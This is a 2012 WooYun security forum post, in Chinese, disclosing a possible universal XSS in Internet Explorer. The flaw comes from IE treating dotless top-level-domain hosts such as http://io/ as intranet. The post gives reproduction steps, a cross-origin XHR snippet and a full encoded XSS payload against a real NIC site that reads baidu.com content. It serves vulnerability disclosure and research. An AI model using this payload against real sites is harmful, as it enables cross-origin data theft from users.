当前位置:WooYun(白帽子技术社区) >> 浏览器安全 >> Possible Universal XSS in Internet Explorer

Possible Universal XSS in Internet Explorer

Sogili (.) 长短短 (.) | 2012-09-27 11:27

漏洞分析:
由于IE有中一个未公开的Intranet检测机制:"The Dot rule",它会检测hostname中有没有点,没点既是"本地intranet"域.
糟糕的是有些域名管理机构直接将域名后缀作为域名解析到nic的网站上,导致了这个问题,我已经在XP/IE8,WIN7/IE9进行了验证.

测试方法:

1. 访问一个"顶级域名"的Web服务器, 例如 http://ac/ or http://io/
  如果没法访问:
  (1) 可能跟你设置的DNS服务器有关(我设置的是8.8.8.8和8.8.4.4)
  (2) 有些DNS需要先加个点访问(e.g:http://ac.),然后再访问http://ac
2. 如果你没有开启intranet, 你可能会收到一个提示询问是否开启.(有些系统是默认打开的)
3. 打开IE的控制台模拟一次XSS攻击,使用XMLHttpRequest发起一个跨源请求.
  测试代码:
  "xhr=new ActiveXObject('Microsoft.XMLHTTP');xhr.open('GET','http://mmme.me');xhr.onreadystatechange =function(){(xhr.readyState==4&&xhr.status==200)&&alert(xhr.responseText);};xhr.send(null);"
  (1)在你制造第一个请求的时候,浏览器会弹出一个确认框,"该页面正在访问其控制范围之外的内容...是否继续",点击“是”即可.(我觉得他们改成"你是否接受黑客的入侵?"会比较好:P)
4.如果成功弹出数据则表明利用成功.

漏洞利用需要的条件:
1. DNS必须解析这个域名.
2. Intranet设置是开启的.
3. 会弹出一个风险提示框,用户必须点击了"是".
4. 必须有那些顶级域名网站中的一个跨站漏洞.

note:
1.IE6的Intranet是没有办法关闭的.
2.部分IE8默认开启的Intranet设置.
3.微软不打算修补这个漏洞

弹百度:
http://io/cgi-bin/idn?data=jackmasa%1N%1e<form/name=form1><input/name=idn></form><script>xhr%3Dnew%20ActiveXObject('Microsoft.XMLHTTP')%3Bxhr.open('GET'%2C'http://www.baidu.com')%3Bxhr.onreadystatechange%20%3Dfunction()%7B(xhr.readyState%3D%3D4%26%26xhr.status%3D%3D200)%26%26alert(xhr.responseText)%3B%7D%3Bxhr.send(null)%3B%3C%2Fscript%3E--%3E%3C!--

分享到:
  1. 1#
    回复此人 感谢
    xsjswt | 2012-09-27 11:44

    mark

  2. 2#
    回复此人 感谢
    Xhm1n9 | 2012-09-27 18:09

    在老外的坛子里看到楼主和他们在说这事了,测了下,真心给力

  3. 3#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2012-09-27 18:14

    @Xhm1n9 哪个坛子?

  4. 4#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2012-09-27 18:16

    Mark

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无